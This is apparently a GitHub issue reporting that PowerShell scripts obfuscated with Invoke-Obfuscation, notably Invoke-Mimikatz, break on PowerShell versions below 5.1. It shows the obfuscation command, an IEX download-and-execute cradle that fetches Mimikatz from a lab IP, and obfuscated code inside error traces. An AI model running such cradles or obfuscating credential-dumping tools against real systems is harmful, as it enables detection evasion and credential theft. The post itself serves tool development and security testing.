-
Notifications
You must be signed in to change notification settings - Fork 809
Open
Description
Hey there!
First off really awesome project!
As the title says, I've been noticing that most obfuscated Powershell scripts (specifically PowerSploit scripts) seem to be incompatible on Powershell < 5.1.
Here's some background on how/what I'm doing:
- I'm running the following Invoke-Obfuscation command on Powershell on Linux ( I have tested obfuscating the script on Powershell v2.0 on Win7 with the same results.)
PS /home/byt3bl33d3r> $PSVersionTable
Name Value
---- -----
PSVersion 6.0.0-alpha
PSEdition Core
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 3.0.0.0
GitCommitId Could not find file '/usr/lib/powershell/ubuntu.16.04-x64/powershell.version'.
CLRVersion
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
PS /home/byt3bl33d3r> Import-Module Invoke-Obfuscation.psd1
PS /home/byt3bl33d3r> Invoke-Obfuscation -ScriptPath ./Invoke-Mimikatz.ps1 -Command "TOKEN,ALL,1,OUT test.ps1" -QuietWorks as expected \o/
Windows 10 (PS version 5.1)
Works as expected.
PS C:\Users\yomama3> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.14393.693
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.14393.693
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
PS C:\Users\yomama3> IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
PS C:\Users\yomama3> iNVokE-mimIkATZ
.#####. mimikatz 2.1 (x64) built on Nov 10 2016 15:31:14
.## ^ ##. "A La Vie, A L'Amour"
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 20 modules * * */
---SNIP---Windows 8.1 (PS version 4.0)
Here the IEX cradle works, when executing the cmdlet however it errors out.
PS C:\Users\yomama1> $PSVersionTable
Name Value
---- -----
PSVersion 4.0
WSManStackVersion 3.0
SerializationVersion 1.1.0.1
CLRVersion 4.0.30319.42000
BuildVersion 6.3.9600.17400
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0}
PSRemotingProtocolVersion 2.2
PS C:\Users\yomama1> IEX (New-Object Net.Webclient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
PS C:\Users\yomama1> Invoke-Mimikatz
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:433 char:3
+ ${vIRTu`AL`AllO`CEx} = (&("{1}{0}{2}"-f 't-va','Ge','rIaBLE') ('1Re'+'fV') - ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:463 char:3
+ ${v`irTua`lfRee} = (&("{0}{2}{1}"-f'Va','e','riabL') ("{0}{1}"-f'1','REFV') ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:473 char:3
+ ${v`irTUaL`PR`OTe`CT} = ( &("{2}{1}{0}"-f'aBLe','I','VAr') ("1Re"+"fV") -va ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:503 char:9
+ ${r`EadpRO`cessMemo`RY} = (&("{0}{1}"-f'VarIaB','LE') ("{0}{1}" -f'1', ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "GetDelegateForFunctionPointer" with "2" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:508 char:9
+ ${cr`EATEReM`ot`et`H`ReaD} = ( &("{3}{0}{2}{1}"-f 'ARI','le','AB','GeT ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Exception calling "FromBase64String" with "1" argument(s): "Unable to cast object of type
'System.Management.Automation.PSObject' to type 'System.Type'."
At line:2541 char:13
+ [Byte[]]${pe`BYtEs} = [Byte[]] ( &("{2}{1}{0}"-f'RiABle','t-Va','GE' ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : CatchFromBaseAdapterMethodInvoke
Cannot index into a null array.
At line:2547 char:9
+ ${PeBy`T`Es}[0] = 0
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : NullArray
Cannot index into a null array.
At line:2548 char:9
+ ${pE`BYT`ES}[1] = 0
+ ~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : NullArray
iNvOKE-meMorYlOaDLIBraRY : Cannot bind argument to parameter 'pEBYTEs' because it is null.
At line:2552 char:102
+ ... mor') -PEBytes ${p`eb`YTES} -ExeArgs ${Exe`ArgS}
+ ~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [iNvOKE-meMorYlOaDLIBraRY], ParameterBindingValidationExceptio
+ FullyQualifiedErrorId : ParameterArgumentValidationErrorNullNotAllowed,iNvOKE-meMorYlOaDLIBraRY
Cannot index into a null array.
At line:2563 char:3
+ ${p`EHa`NDLE} = ${pE`lO`A`de`dinfo}[0]
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : NullArray
Cannot index into a null array.
At line:2564 char:3
+ ${r`EM`OT`e`PEHaNdLe} = ${p`el`oAD`edI`NFo}[1]
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [], RuntimeException
+ FullyQualifiedErrorId : NullArray
PEHandle is null or IntPtr.Zero
At line:1060 char:4
+ throw ("{5}{0}{6}{4}{3}{1}{8}{2}{7}{9}"-f 'and','ull ','t','n','e is ','PEH', ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : OperationStopped: (PEHandle is null or IntPtr.Zero:String) [], RuntimeException
+ FullyQualifiedErrorId : PEHandle is null or IntPtr.ZeroWindows 7 (PS v2.0)
Here the both the IEX cradle & cmdlet error out.
PS C:\Users\yomama> $PSVersionTable
Name Value
---- -----
CLRVersion 2.0.50727.5420
BuildVersion 6.1.7601.17514
PSVersion 2.0
WSManStackVersion 2.0
PSCompatibleVersions {1.0, 2.0}
SerializationVersion 1.1.0.1
PSRemotingProtocolVersion 2.1
PS C:\Users\yomama> IEX (New-Object Net.WebClient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
Invoke-Expression : Ampersand not allowed. The & operator is reserved for future use; use "&" to pass ampersand as a string.
At line:1 char:4
+ IEX <<<< (New-Object Net.WebClient).DownloadString('http://192.168.10.3/Invoke-Mimikatz.ps1')
+ CategoryInfo : ParserError: (:) [Invoke-Expression], ParseException
+ FullyQualifiedErrorId : AmpersandNotAllowed,Microsoft.PowerShell.Commands.InvokeExpressionCommand
PS C:\Users\yomama> Import-Module .\Invoke-Mimikatz.ps1
PS C:\Users\yomama> iNVokE-mimIkATZ
The variable '$cOMMaNd' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2657 char:35
+ ${e`xEA`RgS} = ${cOM`MaNd} <<<<
+ CategoryInfo : InvalidOperation: (cOMMaNd:Token) [], RuntimeExc
eption
+ FullyQualifiedErrorId : VariableIsUndefined
The variable '$eXEArGS' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2674 char:180
+ &("{2}{1}{0}{3}" -f 'Co','voke-','In','mmand') -ScriptBlock ${R`EmOTE
Sc`RIp`Tb`Lock} -ArgumentList @(${PEbYT`E`S64}, ${pE`BYt`ES32}, ("{0}{1}" -f 'V
','oid'), 0, "", ${e`XE`ArGS} <<<< )
+ CategoryInfo : InvalidOperation: (eXEArGS:Token) [], RuntimeExc
eption
+ FullyQualifiedErrorId : VariableIsUndefined
Array assignment failed because index '0' was out of range.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2547 char:22
+ ${PeBy`T`Es}[ <<<< 0] = 0
+ CategoryInfo : InvalidOperation: (0:Int32) [], RuntimeException
+ FullyQualifiedErrorId : IndexOutOfRange
Array assignment failed because index '1' was out of range.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2548 char:22
+ ${pE`BYT`ES}[ <<<< 1] = 0
+ CategoryInfo : InvalidOperation: (1:Int32) [], RuntimeException
+ FullyQualifiedErrorId : IndexOutOfRange
iNvOKE-meMorYlOaDLIBraRY : Cannot bind argument to parameter 'pEBYTEs' because
it is an empty array.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2552 char:101
+ ${peLoa`dedIN`Fo} = &("{2}{1}{0}{5}{4}{3}" -f 'e','voke-M','In','
y','yLoadLibrar','mor') -PEBytes <<<< ${p`eb`YTES} -ExeArgs ${Exe`ArgS}
+ CategoryInfo : InvalidData: (:) [iNvOKE-meMorYlOaDLIBraRY], Par
ameterBindingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationErrorEmptyArrayNotAll
owed,iNvOKE-meMorYlOaDLIBraRY
The variable '$pELoADedinFo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2558 char:26
+ if (${pELoAD`e`d`in`Fo} <<<< -eq ( &("{1}{0}"-f'Item','GEt-') ("{4
}{1}{0}{2}{3}"-f'e:dH','aBl','aQ','j','vari'))."Va`LUE"::"zE`Ro")
+ CategoryInfo : InvalidOperation: (pELoADedinFo:Token) [], Runti
meException
+ FullyQualifiedErrorId : VariableIsUndefined
The variable '$pElOAdedinfo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2563 char:38
+ ${p`EHa`NDLE} = ${pE`lO`A`de`dinfo} <<<< [0]
+ CategoryInfo : InvalidOperation: (pElOAdedinfo:Token) [], Runti
meException
+ FullyQualifiedErrorId : VariableIsUndefined
The variable '$peloADedINFo' cannot be retrieved because it has not been set.
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2564 char:46
+ ${r`EM`OT`e`PEHaNdLe} = ${p`el`oAD`edI`NFo} <<<< [1]
+ CategoryInfo : InvalidOperation: (peloADedINFo:Token) [], Runti
meException
+ FullyQualifiedErrorId : VariableIsUndefined
Invoke-Command : PEHandle is null or IntPtr.Zero
At C:\Users\yomama\Downloads\Invoke-Mimikatz.ps1:2674 char:4
+ & <<<< ("{2}{1}{0}{3}" -f 'Co','voke-','In','mmand') -ScriptBlock ${R
`EmOTESc`RIp`Tb`Lock} -ArgumentList @(${PEbYT`E`S64}, ${pE`BYt`ES32}, ("{0}{1}"
-f 'V','oid'), 0, "", ${e`XE`ArGS})
+ CategoryInfo : OperationStopped: (PEHandle is null or IntPtr.Ze
ro:String) [Invoke-Command], RuntimeException
+ FullyQualifiedErrorId : PEHandle is null or IntPtr.Zero,Microsoft.PowerS
hell.Commands.InvokeCommandCommandAt first I thought it might be an issue with PowerShell on Linux, but I did the same thing on PowerShell on WIndows with the same results, so this does seem to be a bug.
Let me know if you need any more information.
Cheers!
Metadata
Metadata
Assignees
Labels
No labels